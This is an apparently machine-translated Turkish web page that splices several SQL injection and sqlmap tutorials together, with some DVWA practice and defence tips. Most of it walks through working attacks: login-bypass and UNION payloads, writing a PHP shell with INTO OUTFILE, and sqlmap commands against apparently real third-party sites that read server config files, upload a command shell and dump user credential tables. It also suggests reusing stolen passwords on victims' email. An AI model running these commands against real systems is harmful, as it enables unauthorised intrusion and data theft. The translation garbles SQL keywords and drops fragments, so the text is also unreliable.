Sitenin bölümleri
Editörün Seçimi:
- Eski Skype'ınızı nasıl geri alabilirsiniz - Skype'ı geri yükleyin Skype'ı sildim, nasıl geri yüklenir
- Ailem, Windows Phone: kurulum
- LG L90 Dual Firmware'e resmi bellenimi yükleme lg l90 dual d410'a
- Rosinterbank: kişisel hesabınıza giriş yapın
- Makale tanıtımı - site arama
- Beeline'ın “Kişisel Hesabına” giriş yapın: tüm yöntemler ve olasılıklar Kişisel hesabınıza nasıl giriş yapılır?
- TeamSpeak'te sunucu oluşturma prosedürü
- Acronis Disk Director Suite kullanılarak bir sabit sürücü nasıl düzgün şekilde bölümlenir? Acronis kullanarak disk bölümleme
- Süper sıfır MTS: tarife açıklaması
- Vakalar (bir çocuk ile bir yetişkin arasındaki etkileşim durumları) Pedagojik durumlar, sürüş vakasını öğretme yöntemleri
Reklam
SQLMap'in temel kullanımı. Sqlmap kullanma talimatları |
SQL enjeksiyonu, ifadelerin belirli bölümlerini yorumlayarak veya her zaman doğru olacak bir koşul ekleyerek dinamik SQL ifadelerinden yararlanan bir saldırıdır. Web uygulaması mimarisindeki açıkları hedefler ve kötü amaçlı SQL kodunu yürütmek için SQL ifadelerini kullanır: Bu yazımızda SQL enjeksiyonlarında kullanılan tekniklere ve web uygulamalarının bu tür saldırılardan nasıl korunabileceğine bakacağız. SQL enjeksiyonu nasıl çalışır?SQL enjeksiyonu kullanılarak gerçekleştirilebilecek saldırı türleri, etkilenen veritabanı motorlarının türüne göre değişir. Saldırı dinamik SQL ifadelerini hedef alıyor. Dinamik ifade, bir web formundaki veya URI sorgu dizesindeki parametrelere dayalı olarak çalışma zamanında oluşturulan bir ifadedir. Giriş formuna sahip basit bir web uygulamasını düşünün. HTML form kodu aşağıdadır:
Sunucu tarafında kullanıcı kimliğini kontrol etme isteğinin şöyle göründüğünü varsayalım:
SQL Injection sqlfiddle kullanan bir saldırıya bakacağız. Tarayıcınızda http://sqlfiddle.com/ URL'sini açın. Ekranda aşağıdaki pencere görünecektir. Not: SQL ifadeleri yazmanız gerekecektir: Adım 1: Bu kodu sol panele girin: CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); kullanıcılara (e-posta, şifre) değerler ekleyin (" [e-posta korumalı]",md5("abc")); Adım 2: Düğmeye tıklayın Şema Oluştur». kullanıcılardan * seçin; Adım 4: "'e tıklayın SQL'i çalıştır" Aşağıdaki sonucu göreceksiniz: Kullanıcının bir e-posta adresi sağladığını varsayalım [e-posta korumalı] ve şifre olarak 1234. Veritabanında yürütülmesi gereken sorgu şu şekilde görünebilir: Yukarıdaki örnek SQL enjeksiyon kodu, parolanın bir kısmının yorumlanması ve her zaman doğru olacak bir koşulun eklenmesiyle atlanabilir. Bir saldırganın e-posta adresi alanına aşağıdaki verileri eklediğini varsayalım: [e-posta korumalı]" VEYA 1 = 1 LİMİT 1 -- " ] ve şifre alanına xxx yazın. Oluşturulan dinamik ifade şu şekilde görünecektir:
0; ' AND ... şifre kısmını hariç tutan bir SQL yorumudur. Yukarıdaki sorguyu kopyalayın ve aşağıda gösterildiği gibi FiddleRun SQL metin kutusuna yapıştırın: Bilgisayar korsanı etkinliği: Web uygulamalarına SQL enjeksiyonlarıhttp://www.techpanda.org/ adresinde, gösteri amacıyla yeni başlayanlar için özellikle SQL enjeksiyon saldırılarına karşı savunmasız hale getirilmiş basit bir web uygulamamız var. Yukarıda verilen HTML form kodu bu uygulamanın yetkilendirme sayfasından alınmıştır. E-posta alanının temizlenmesi gibi temel güvenliği sağlar. Bu, yukarıdaki kodun bu mekanizmayı atlamak için kullanılamayacağı anlamına gelir. Bunu atlamak için şifre alanını kullanabilirsiniz. Aşağıdaki şemada izlemeniz gereken adımlar gösterilmektedir: Saldırganın aşağıdaki verileri sağladığını varsayalım: 1. Adım: Girin [e-posta korumalı] e-posta adresi olarak; “Gönder” butonuna tıklar. Yönetim paneline gönderilecektir. Oluşturulan sorgu şu şekilde görünecektir: Aşağıdaki şemada isteğin nasıl oluşturulduğu gösterilmektedir: Burada:
Tipik olarak saldırganlar, SQL enjeksiyon saldırısında hedeflerine ulaşmak için birkaç farklı yöntem kullanmaya çalışırlar. Diğer SQL enjeksiyon saldırısı türleriSQL enjeksiyonları, yetkilendirme mekanizmasını atlayarak bir sisteme giriş yapmaktan çok daha fazla zarara neden olabilir. Bu saldırılardan bazıları şunlar olabilir:
Yukarıdaki liste tam değildir. Bu sadece SQL enjeksiyonlarının oluşturduğu tehlikeler hakkında bir fikir verir. SQL enjeksiyonlarını otomatikleştirmeye yönelik araçlarYukarıdaki örnekte manuel saldırı yöntemlerini kullandık. SQL enjeksiyonunu gerçekleştirmeden önce, saldırıları daha verimli ve hızlı bir şekilde gerçekleştirmenize olanak tanıyan otomatikleştirilmiş araçların bulunduğunu anlamalısınız:
SQL enjeksiyonları nasıl önlenirSQL enjeksiyon saldırılarına karşı korunmak için birkaç basit kural şunlardır: Kullanıcı girdisine güvenilmemelidir. Veriler dinamik SQL işlemlerinde kullanılmadan önce her zaman arındırılması gerekir. Saklı prosedürler- SQL sorgularını kapsülleyebilir ve tüm giriş verilerini parametre olarak işleyebilirler. Hazırlanan sorgular- Önce sorgular oluşturulur ve ardından sağlanan tüm kullanıcı verileri parametre olarak işlenir. Bu, SQL deyiminin sözdizimini etkilemez. Düzenli ifadeler- Potansiyel olarak kötü amaçlı kodu tespit etmek ve SQL ifadelerini çalıştırmadan önce onu kaldırmak için kullanılabilir. Veritabanına bağlanmak için erişim hakları- ile SQL enjeksiyonlarına karşı koruma veritabanına bağlanmak için kullanılan hesaplara yalnızca gerekli erişim hakları verilmelidir. Bu, SQL ifadelerinin sunucuda gerçekleştirebileceği eylemleri sınırlamaya yardımcı olacaktır. Hata mesajları- gizli bilgileri ifşa etmemelidir. " gibi basit özel hata mesajları Üzgünüz, teknik bir hata oluştu. Destek ekibine bu konuda zaten bilgi verildi. Lütfen daha sonra tekrar deneyiniz" hataya neden olan SQL sorgularını görüntülemek yerine kullanılabilir. Selamlar okuyucu. Son zamanlarda Web güvenliğiyle ilgileniyorum ve çalışmalarım bir ölçüde bununla ilgili. Çünkü Çeşitli forumlarda her şeyin nasıl çalıştığını göstermelerini isteyen konuları giderek daha sık fark etmeye başladım, bu yüzden bir makale yazmaya karar verdim. Makale bununla karşılaşmamış ancak öğrenmek isteyenlere yönelik olacaktır. İnternette bu konuyla ilgili nispeten çok sayıda makale var, ancak yeni başlayanlar için bunlar biraz karmaşık. Her şeyi açık bir dille ve ayrıntılı örneklerle anlatmaya çalışacağım. ÖnsözBu makaleyi anlamak için aslında SQL dili bilgisine ihtiyacınız yok, ama en azından iyi bir sabır ve ezberlemek için biraz beyne ihtiyacınız var.Sadece yazıyı okumanın yeterli olmayacağına inanıyorum çünkü... canlı örneklere ihtiyacımız var - bildiğiniz gibi ezberleme sürecinde pratik yapmak asla gereksiz değildir. Bu nedenle savunmasız senaryolar yazacağız ve bunlar üzerinde eğitim vereceğiz. SQL enjeksiyonu nedir?Basit bir ifadeyle bu, veritabanına yapılan ve komut dosyasının yaratıcısı tarafından planlanmayan bazı eylemleri gerçekleştirmenize olanak tanıyan bir saldırıdır. Hayattan örnek:Babam Vasya'ya 100 ruble verip masanın üzerine koyması için annesine bir not yazdı. Bunu komik bir SQL diline dönüştürerek şunu elde ederiz: Babası notu kötü yazıp (beceriksiz el yazısı) masaya bıraktığı için Vasya'nın kardeşi Petya notu gördü. Bir hacker olan Petya buraya “OR Pete” ekledi ve sonuç şu şekilde oldu: Annem notu okuduktan sonra dün Vasya'ya para vermeye karar verdi ve Petya'ya 100 ruble verdi. İşte hayattan SQL enjeksiyonunun basit bir örneği :) Petya, verileri filtrelemeden (annem el yazısını zar zor anlayabiliyordu) kar elde etti. HazırlıkPratik yapmak için bu makalenin kaynak komut dosyalarını içeren bir arşive ihtiyacınız olacak. İndirin ve sunucuda paketini açın. Ayrıca veritabanını içe aktarın ve dosyadaki verileri ayarlayın cfg.phpSQL enjeksiyonunu araZaten anladığınız gibi enjeksiyon, filtrelenmeyen gelen verilerden gelir. En yaygın hata iletilen kimliğin filtrelenmemesidir. Kabaca konuşursak, tüm alanlara alıntılar koyun. İster bir GET/POST isteği, hatta bir Çerez olsun! Sayısal giriş parametresiPratik yapmak için bir senaryoya ihtiyacımız var indeks1.php. Yukarıda da söylediğim gibi haber ID'sine tırnak işareti koyuyoruz.Çünkü İsteğimizin filtrelemesi yok: $id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id"; Senaryo bunu şu şekilde anlayacaktır: SELECT * FROM news WHERE id=1" Ve bize bir hata verecektir: Hata görünmüyorsa aşağıdaki nedenler olabilir: 1.SQL enjeksiyonu burada değil - alıntılar filtrelenir veya yalnızca dönüştürülmeye değer (int) Hala bir hata alıyorsanız - Yaşasın! İlk SQL enjeksiyon türünü bulduk - Sayısal giriş parametresi. Dize giriş parametresiTalepleri şuraya göndereceğiz: indeks2.php. Bu dosyada istek şöyle görünür: Burada haberleri kullanıcı adına göre seçiyoruz ve yine filtreleme yapmıyoruz. Hata verdi. TAMAM! Bu, bir güvenlik açığının olduğu anlamına gelir. Yeni başlayanlar için bu bizim için yeterli; hadi pratik yapalım. Haydi harekete geçelimKüçük bir teoriMuhtemelen bundan hatalardan başka bir şey çıkarmak için sabırsızlanıyorsunuz. İlk önce "işaretini anlayın" -- " SQL'de bir yorum olarak kabul edilir. DİKKAT! Öncesinde ve sonrasında boşluk olması gerekir. URL'de şu şekilde aktarılırlar: %20 Yorumdan sonra gelen her şey atılacaktır. Yani: Başarılı olacak. Bunu index2.php betiğinde şöyle bir istek göndererek deneyebilirsiniz: Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr Parametreyi öğrenin BİRLİK. SQL dilinde anahtar kelime BİRLİKİki SQL sorgusunun sonuçlarını tek bir tabloda birleştirmek için kullanılır. Yani ihtiyacımız olan bir şeyi başka bir masadan çıkarmak için. Haydi bundan yararlanalımParametre “Sayısal” ise, isteğe bir fiyat teklifi göndermemize ve doğal olarak sonuna bir yorum koymamıza gerek yoktur. Senaryoya geri dönelim indeks1.php. SQLlinj/index1.php?id=1 UNION SELECT 1 betiğine dönelim. Veritabanı sorgumuz şuna benzer: Çünkü İlk istekte sayılarını etkileyemeyiz, sonra ikinci istekte sayılarını birinciye eşit olacak şekilde seçmemiz gerekir. Alan sayısını seçmeAlanları seçmek çok basittir; aşağıdaki istekleri göndermeniz yeterlidir: GRUPLANDIRMA ŞEKLİÇoğu zaman 20, 40, hatta 60 alan olabilir, böylece her seferinde bunları sıralamak zorunda kalmayız, kullanırız. GRUPLANDIRMA ŞEKLİEğer istek Sqlinj/index1.php?id=1 8'E GÖRE GRUPLA GROUP BY 4'te hata yoksa ve GROUP BY 6'da hata varsa alan sayısı 5'tir. Çıkış Sütunlarını Tanımlamaİlk istekte bize hiçbir şey gösterilmemesini sağlamak için, var olmayan bir kimliği değiştirmek yeterlidir, örneğin:Sqlinj/index1.php?id=-1 BİRLİĞİ SEÇİMİ 1,2,3,4,5 Bu işlemle sayfada hangi sütunların görüntüleneceğini belirledik. Şimdi bu numaraları gerekli bilgilerle değiştirmek için talebe devam etmeniz gerekiyor. Veri çıkışıDiyelim ki masanın hala var olduğunu biliyoruz kullanıcılar alanların bulunduğu İD, isim Ve geçmek. Bu nedenle aşağıdaki sorguyu oluşturalım: Sqlinj/index1.php?id=-1 KULLANICILARDAN BİRLİĞİ SEÇİN 1,2,3,4,5 WHERE id=1 Bunu yapmak için 1 ve 3 sayıları yerine alanların adlarını değiştireceğiz. Sqlinj/index1.php?id=-1 BİRLİĞİ SEÇİN adı,2,pass,4,5 KULLANICILARDAN NEREDE id=1 Komut dosyasındaki gibi "dize giriş parametresi" için indeks2.php başına tırnak işareti ve sonuna yorum işareti eklemeniz gerekir. Örnek: Dosyaları Okuma/YazmaDosyaları okumak ve yazmak için veritabanı kullanıcısının FILE_PRIV haklarına sahip olması gerekir.Dosyaları kaydetmeAslında her şey çok basit. Bir dosya yazmak için işlevi kullanacağız. ÇIKIŞ DOSYASI.sqlinj/index2.php?user=-1" "1.php" --%20 ÇIKIŞ DOSYASINA BİRLİĞİ SEÇİN 1,2,3,4,5 Harika, dosya bize kaydedildi. Böylece mini kabuğu doldurabiliriz: sqlinj/index2.php?user=-1" BİRLİĞİ SEÇİMİ 1,"",3,4,5 ÇIKIŞ DOSYASINA "1.php" --%20 Dosyaları okumaDosyaları okumak yazmaktan daha kolaydır. Sadece fonksiyonu kullanmak yeterlidir DOSYA YÜKLE, alanın seçtiğimiz yeri için:Sqlinj/index2.php?user=-1" BİRLİĞİ SEÇİMİ 1,LOAD_FILE("1.php"),3,4,5 --%20 Böylece daha önce yazılan dosyayı okuduk. Koruma yöntemleriKendinizi korumak, bir güvenlik açığından yararlanmaktan bile daha kolaydır. Sadece verileri filtreleyin. Sayıları geçiyorsanız, şunu kullanın: Tamamlamak yerine“Yeni başlayanlar için SQL enjeksiyonu” ile ilgili ilk bölümümü burada bitirmek istiyorum. İkincisinde daha şiddetli enjeksiyon örneklerine bakacağız. Savunmasız komut dosyaları yazmayı ve sorguları kendiniz yürütmeyi deneyin.Ve unutmayın, sitenizin hiçbir kullanıcısına güvenmeyin. Neyse konuya: Spoiler: Kabuğu doldurun Sitede şuna benzeyen bir SQL Enjeksiyonumuz var: Linkleri görebilmeniz için kayıt olmanız gerekmektedir. Yapmak istediğimiz ilk şey, saldırıya uğrayan kaynağa dosya yazma ayrıcalıklarımızın olup olmadığını kontrol etmektir; bunu yapmak için terminali yükleyin ve aşağıdaki komutu verin: Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba Tıklamak Girmek ve SQL Enjeksiyonumuzun analizi başlıyor, rapor şu şekilde görünüyor: Raporda gördüğünüz gibi Apache sürümü, MySQL sürümü ve sunucuda kurulu işletim sisteminin sürümü yazılıyor, tüm bunlar gelecekte işimize yarayacak ama en önemlisi şunu görebiliyorsunuz dosya yazma haklarımız var, bu, Current User is DBA: True satırında görüntülenir Bizim için bir sonraki adım kabuğumuzu kaydedecek yolları elde etmektir. Dosyayı indirerek sunucudaki sitemizin yolunu bulabiliriz. httpd.conf. Google'ı kullanarak httpd.conf dosyasının konumu hakkında bilgi alıyoruz; yüklü işletim sisteminin sürümüne veya en olası yolların listesine göre arama yapabilirsiniz. Genel olarak, arama motorlarında gezinmenin derinliklerine inmeyeceğim, dosya yolunun en olası konumunu bulduğunuzda, aynı dosyayı diskinize indirmenin zamanı geldi, bunu yapmak için aşağıdakileri girin komut ve sunucudaki dosyayı okumayı talep edin: Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf Bu yapılandırma dosyasını ilk seferde bulmanın her zaman mümkün olmadığını hemen belirtelim, bu nedenle bu dosyanın bulunabileceği en olası yolları kullanabilirsiniz: YAPILANDIRMA DOSYASINA OLASI YOL LİSTESİ: ../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/Apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/Apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/Apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf Sqlmap'ten aşağıdaki biçimde bir rapor alıyoruz:
Gördüğünüz gibi sqlmap bize dosyanın sunucudaki dosyayla aynı boyutta olduğunu söyledi, dolayısıyla bu dosyayı okuma hakkımız var. Bu dosyayı okumak için yeterli hak yoksa, makinemize kaydedilen dosyanın sunucudaki dosyadan farklı bir boyuta sahip olduğu veya sunucuda belirttiğimiz yolda hiçbir dosya bulunmadığı ve hiçbir zaman kaydedilmediği şeklinde bir hata görünecektir. olmuştur. Sqlmap dosyamızı rapor dosyalarına kaydetti ve onu okumak için pencere yöneticisini başlatmamız gerekiyor. Pencere yöneticisini başlatmak için başka bir terminal penceresi açıp şu komutu giriyoruz: Daha sonra açılan yöneticide sqlmap'in dosyayı eklediği yolu izliyoruz, yani:
Config dosyamızdan sitemizin sunucuda aşağıdaki yolda bulunduğunu görüyoruz: Artık biraz bilgi sahibi olduğumuza göre kabuğu doldurmayı deneyebiliriz, bunun için aşağıdaki komutu giriyoruz: Komutu girdikten sonra sqlmap ne tür dolgu kullanmak istediğimizi soracaktır, çünkü... bizim durumumuzda site PHP'de, sonra yükleyeceğiz PHP yükleyici, seçme 4. nokta ve Enter'a basın. Daha sonra sqlmap bizden yükleyicimizi nereye yükleyeceğimizi seçmemizi isteyecek ve o zamandan beri... Sunucudaki sitemizin yolunu zaten biliyoruz, ardından 2. nokta, basmak Girmek ve sitenin yolunu belirtin: Ve bundan sonra basıyoruz Girmek ve aşağıdaki raporu görüyoruz:
Bu durumda sqlmap bize bu klasöre yazma hakkımızın olmadığını söylüyor. Sorun değil, bu sorunun çözümü oldukça kolaydır. Uniscan'ı başlatma ve dosya ve klasörleri yazılabilirlik açısından kontrol etme komutunu veriyoruz, işte komut: Uniscan -u http://www.sacoor.com/ -qwe Artık tarayıcı tüm yazılabilir dizinleri kontrol edecektir:
Tarayıcı, dosya yazma yeteneğine sahip üç dizin buldu, bu yüzden kabuk yükleyicimizi tekrar yüklemeye çalışıyoruz, ancak bu sefer farklı bir şekilde. Komutu tekrar çalıştırın: Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l ve seçerek 4. nokta(PHP betiğini doldurarak), yolu belirtin: Aşağıdakileri görüyoruz. Sqlmap nedir ve ne içindir?
Program, siteleri SQL enjeksiyon güvenlik açıkları, XSS güvenlik açıkları açısından kontrol etmenize ve ayrıca SQL enjeksiyonundan yararlanmanıza olanak tanır. Çeşitli SQL enjeksiyon türleri ve çeşitli veritabanları desteklenir. Sqlmap ile neler yapabilirsiniz?
Sqlmap ile şunları yapabilirsiniz:
Sitenin SQL enjeksiyonuna karşı savunmasız olması durumunda şunlar mümkündür:
Sqlmap kullanma senaryolarından biri:
Bir güvenlik açığı varsa saldırı çeşitli yönlerde gelişebilir:
Görüldüğü gibi SQL enjeksiyonu saldırgana büyük fırsatlar sunan çok tehlikeli bir güvenlik açığıdır. Sqlmap kullanarak web sitelerini kontrol etme
Site, GET yöntemini kullanarak kullanıcıdan veri alıyorsa (hem değişkenin adı hem de iletilen veriler tarayıcının adres çubuğunda göründüğünde), bu değişkenin bulunduğu sayfanın adresini seçmeniz gerekir. Sunmak. Soru işaretinden sonra gelir ( ? ), Örneğin:
İlk adreste değişken adı şöyledir: İD ve geçirilen değer 8 . İkinci adreste değişken adı da İD ve iletilen değer 22 . Üçüncü örnekte değişken adı aynı ancak iletilen değer s_36. Aynı değişken adı farklı siteler için rastgele bir eşleşmedir, herhangi bir şey olabilir, iletilen veri herhangi bir şey olabilir, değerleri bir sembolle ayrılmış birkaç değişken olabilir & . Kimlik değişkeninin SQL enjeksiyonuna karşı savunmasız olup olmadığını kontrol etmek istiyorsak adresin tamamını girmemiz gerekir - http://www.dwib.org/faq2.php?id=8 (http://www.dwib değil) .org /faq2.php veya http://www.dwib.org). GET yöntemi tarafından iletilen bir değişkeni kontrol etme komutu çok basittir: SQLmap -u site_adresi Bu siteler için komutlar şöyle olacaktır: SQLmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36 Doğrulama işlemi sırasında sqlmap çeşitli sorular sorabilir ve bunları yanıtlamanız gerekir. sen(yani Evet) veya N(yani Hayır). Y ve n harfi büyük veya küçük olabilir. Büyük harf varsayılan seçim anlamına gelir; kabul ediyorsanız Enter tuşuna basmanız yeterlidir. Durum ve soru örnekleri: Buluşsal yöntem, hedefin bir tür WAF/IPS/IDS tarafından korunduğunu tespit etti. Sqlmap'in arka uç WAF/IPS/IDS'yi tespit etmeye çalışmasını ister misiniz? Buluşsal yöntem, hedefin bir tür WAF/IPS/IDS tarafından korunduğunu belirledi. Sqlmap'in WAF/IPS/IDS'nin adını belirlemeye çalışmasını ister misiniz? En sevdiğim istek: Sezgisel (temel) test, GET parametresi "id"nin enjekte edilebilir olabileceğini gösterir (olası DBMS: "MySQL") GET parametresi "id" üzerinde SQL enjeksiyonu testi, arka uç DBMS'nin "MySQL" gibi göründüğünü gösterir. Diğer DBMS'lere özel test veri yüklerini atlamak istiyor musunuz? Mesele şu ki buluşsal yöntem, parametrenin savunmasız olabileceğini belirlemiş ve uzak DBMS zaten tanımlanmış, kontrole devam etmek isteyip istemediğimiz soruluyor. İkinci ekran görüntüsünde ise sitenin XSS'e karşı da savunmasız olduğu görülüyor. Sqlmap'in size her zaman sormaması, ancak varsayılan seçimi kullanması için işlemi otomatikleştirmek istiyorsanız (her zaman daha iyi seçenekler vardır), o zaman komutu şu seçenekle çalıştırabilirsiniz: --grup: Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch Sqlmap'i tararken olası sorunlar
Aşağıdaki hatalar görünebilir: Hedef URL'ye bağlantı zaman aşımına uğradı. Sorun devam ederse sqlmap istekleri yeniden deneyecek, lütfen sağlanan hedef URL'nin geçerli olup olmadığını kontrol edin. Böyle bir durumda, "--random-agent" anahtarı açıkken ve/veya proxy anahtarları ("--ignore-proxy", "--proxy",...) ile yeniden çalıştırmayı deneyebilirsiniz. Bu, web sitesinin sqlmap ile “konuşmak” istemediği anlamına gelir. Bir seçenek olarak kullanmamız teklif ediliyor --rastgele-ajan. Siteyi tarayıcıda izleyebiliyorsanız, ancak sqlmap bağlantı kurmanın imkansızlığı hakkında yazıyorsa, site istekleri görmezden geliyor ve kullanıcı aracısına odaklanıyor. --random-agent seçeneği standart sqlmap değerini rastgele olarak değiştirir: Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent Bu hatanın bir başka nedeni de IP'nizin bir web sitesi tarafından engellenmesi olabilir; bu durumda bir proxy kullanmanız gerekir. Zaten bir proxy kullanıyorsanız ve bu hata görünüyorsa, bu, proxy'nin iletişim sorunları olduğu ve onsuz denemeniz gerektiği anlamına gelebilir. sqlmap tarama sonuçları
Tespit edilen SQL enjeksiyonları aşağıdaki gibi görüntülenir: Onlar. koyu yeşil renkle vurgulanmıştır, güvenlik açığı bulunan parametrenin adı yazılır, SQL güvenlik açığının türü ve kelimesi bulunur enjekte edilebilir. Sqlmap ile veritabanlarının listesini alma
Veritabanlarının bir listesini almak için seçeneği kullanın --dbs. Örnekler: SQLmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs Veritabanlarından bilgi alma
Örneğin wellerpools.com sitesi için iki veritabanı bulundu: [*] bilgi_şeması [*] ana_kuyu havuzları Main_wellerpools veritabanındaki tabloların listesini bilmek istiyorum. Bunu yapmak için seçeneği kullanın --tablolar. Ayrıca seçenekten sonra ilgilendiğimiz tabloyu da belirtmemiz gerekiyor. -D: Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables Tablo listesi: Bazı nedenlerden dolayı kullanıcılar tablosundaki sütunların listesini bilmek istiyorum. Bunu yapmak için seçeneği kullanın --sütunlar. Ayrıca ilgilendiğimiz veritabanını da belirtmemiz gerekiyor ( -D ana_kuyuhavuzları) ve tuşundan sonra -T sütun listesini görmek istediğimiz tablo: Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T kullanıcılar --columns İçeriği görüntülemek için seçeneği kullanın --çöplük. Veritabanıyla birlikte belirtilebilir ve ardından tüm veritabanının dökümü yapılabilir veya verileri bir tabloyla, hatta bir sütunla sınırlayabilirsiniz. Aşağıdaki komutla tüm kullanıcılar tablosunun içeriğini görmek istiyorum: Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T kullanıcıları --dump Şifrelere bir göz atın; hızlı bir inceleme sonrasında bunların karma olduklarını düşündüm. Yöneticiler gerçekten kendilerini savunmaya çalıştı ama bu onlara yardımcı olmadı. Bu arada, GET yöntemiyle gönderilen verileri kabul eden parametre savunmasız olduğundan, doğrudan tarayıcı satırında, kullanıcının kullanıcı adı ve şifresinin doğrudan sitenin kendisinde görüntüleneceği şekilde bir istek oluşturabilirsiniz:
Onlar. Sitenin kullanıcılarının (ve büyük olasılıkla yöneticilerinin) kullanıcı adı, şifresi ve e-posta bilgilerine sahibiz. Sitenin yönetim panelini bulabilirseniz sitenin veya web sunucusunun kontrolünü ele geçirebilirsiniz. Kullanıcıların aynı şifrelere olan sevgisi ve posta kutularını bilmeleri göz önüne alındığında, postalarını hacklemeyi deneyebilirsiniz. Genel olarak SQL enjeksiyonu çok tehlikeli bir güvenlik açığıdır. SQL Enjeksiyonu, saldırganın bir web uygulamasının SQL sorgu mantığını değiştirerek veritabanındaki değerleri okumasına/değiştirmesine/silmesine ve bazen sunucu tarafında rastgele kod çalıştırmasına olanak tanıyan bir saldırı türüdür. Bu makalede, SQL enjeksiyonlarını gerçekleştirmek için popüler sqlmap yardımcı programı tartışılacaktır. Şu anda bu tür bir güvenlik açığı mümkün olanların en tehlikelisidir. 7 yıldır “OWASP TOP-10”un öncü çizgisine SQL enjeksiyonları başkanlık ediyor. Bu güvenlik açığının 5 ana nedeni vardır:
SQLMap.SQL enjeksiyon türleri.SQLMap yardımcı programının kullandığı SQL enjeksiyon türlerine bakalım:
SQLMap'in temel kullanımı.Yardımcı programı başlatın (değişkende olmalıdırYOL ): $sql haritası Veya yardımcı program dizininden: $ piton sqlmap.py Belgeleri çağırmak için tuşunu kullanın «- H / — yardım »: $ sqlmap --yardım $ python sqlmap.py –yardım SQLMap anahtarlarının eylemleri tamamen saldırganın tam olarak neyi başarmak istediğine bağlıdır. SQLMap eylemlerinin temel listesi şuna benzer:
Pratik.Pratik eğitimimiz için kullanacağımız Lanet etmek Hassas ağ Başvuru (DVWA veya "Lanet olası savunmasız web uygulaması"). DVWA – Pentest becerilerini geliştirmek için tasarlanmış, PHP ve MySQL gibi teknolojiler üzerine kurulu ücretsiz bir web uygulamasıdır. Artık sadece enjeksiyonlarla ilgileniyoruz, ancak genel olarak resmi bilgilere dayanarak oluşturulan diğer güvenlik açıklarında yeteneklerinizi test edebilirsiniz. OWASP TEPE -10 . Not: Bu uygulama, Linux'un temelleri hakkında bilgi sahibi olduğunuzu, başlangıç seviyesinde İngilizce bilgisine sahip olduğunuzu ve Google'ı kullanma becerisine sahip olduğunuzu (yukarıdaki becerilere sahip değilseniz) varsayar. Kurulum:
İlk veri:
O halde başlayalım:
Komutun açıklaması: — url – güvenlik açığı olduğu varsayılan parametreyi içeren URL. Bu anahtarın değişkeninin tırnak içinde yazıldığına dikkat etmek önemlidir, çünkü Kontrol edilen URL'de birden fazla iletilen parametre var. Aksi takdirde tırnak işaretlerini göz ardı edebilir ve anahtarın kısa versiyonunu kullanabilirsiniz. “- sen ” eşittir işareti olmadan . - çerez – Bir saldırı sırasında doğrudan erişim için oturum çerezi (isteğe bağlı anahtar). Çözüm: Analiz:
Komutun açıklaması: —dbs – mevcut veritabanlarını listelemek için anahtar. Çözüm: Analiz: SQLMap mevcut veritabanlarını listeledi (toplamda 7).
Komutun açıklaması: -D – İlgilendiğimiz veritabanını belirtin. --tables – Veritabanındaki mevcut tabloları listeler. Çözüm: Analiz: Gördüğümüz gibi SQLMap veritabanındaki 2 tablonun adlarını başarıyla listeledi dvwa .
Komutun açıklaması: -T – İlgilendiğimiz tabloyu belirtin. —sütunlar – Tablodaki mevcut sütunları listeleyin. Çözüm: Analiz: Gördüğümüz gibi SQLMap tabloda 6 sütunun adlarını başarıyla listeledi kullanıcılar, BD dvwa .
Komutun açıklaması: C – Bizi ilgilendiren sütunları belirtin. --dump – Listelenen sütunlardaki değerleri döker. Çözüm: Analiz: SQLMap'in yanıtına dayanarak aşağıdaki noktalara dikkat ediyoruz:
Komutun açıklaması: —data – POST isteğinde gönderilen test parametrelerini belirtin. —os —shell – SQL enjeksiyonu yoluyla sunucu konsolundan yararlanmaya çalışmak için özel anahtar. Çözüm: Analiz: SQLMap'in yanıtına dayanarak aşağıdaki noktalara dikkat ediyoruz:
Daha derin bir sistem erişimi düzeyi elde etmenin faydaları:
En iyi uygulamalar ve gelişmiş kullanım.
|
Popüler:
Yeni
- Ailem, Windows Phone: kurulum
- LG L90 Dual Firmware'e resmi bellenimi yükleme lg l90 dual d410'a
- Rosinterbank: kişisel hesabınıza giriş yapın
- Makale tanıtımı - site arama
- Beeline'ın “Kişisel Hesabına” giriş yapın: tüm yöntemler ve olasılıklar Kişisel hesabınıza nasıl giriş yapılır?
- TeamSpeak'te sunucu oluşturma prosedürü
